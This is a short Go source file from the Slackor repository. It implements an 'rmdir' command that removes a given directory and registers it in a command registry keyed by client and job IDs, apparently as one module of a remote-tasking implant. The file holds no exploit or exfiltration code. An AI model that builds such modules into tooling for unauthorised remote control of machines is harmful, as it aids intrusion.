github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/rmdir.go (about) 1 package common 2 3 import ( 4 "errors" 5 "os" 6 7 "github.com/n00py/Slackor/pkg/command" 8 ) 9 10 // RMDir removes the given empty directory 11 type RMDir struct{} 12 13 // Name is the name of the command 14 func (p RMDir) Name() string { 15 return "rmdir" 16 } 17 18 // Run removes the given empty directory 19 func (p RMDir) Run(clientID string, jobID string, args []string) (string, error) { 20 if len(args) != 1 { 21 return "", errors.New("rm takes 1 argument") 22 } 23 path := args[0] 24 st, err := os.Stat(path) 25 if err != nil { 26 return "", err 27 } 28 if !st.Mode().IsDir() { 29 return "", errors.New("rmdir can only remove empty directories") 30 } 31 err = os.Remove(path) 32 if err != nil { 33 return "", err 34 } 35 return path + " has been removed.", nil 36 } 37 38 func init() { 39 command.RegisterCommand(RMDir{}) 40 }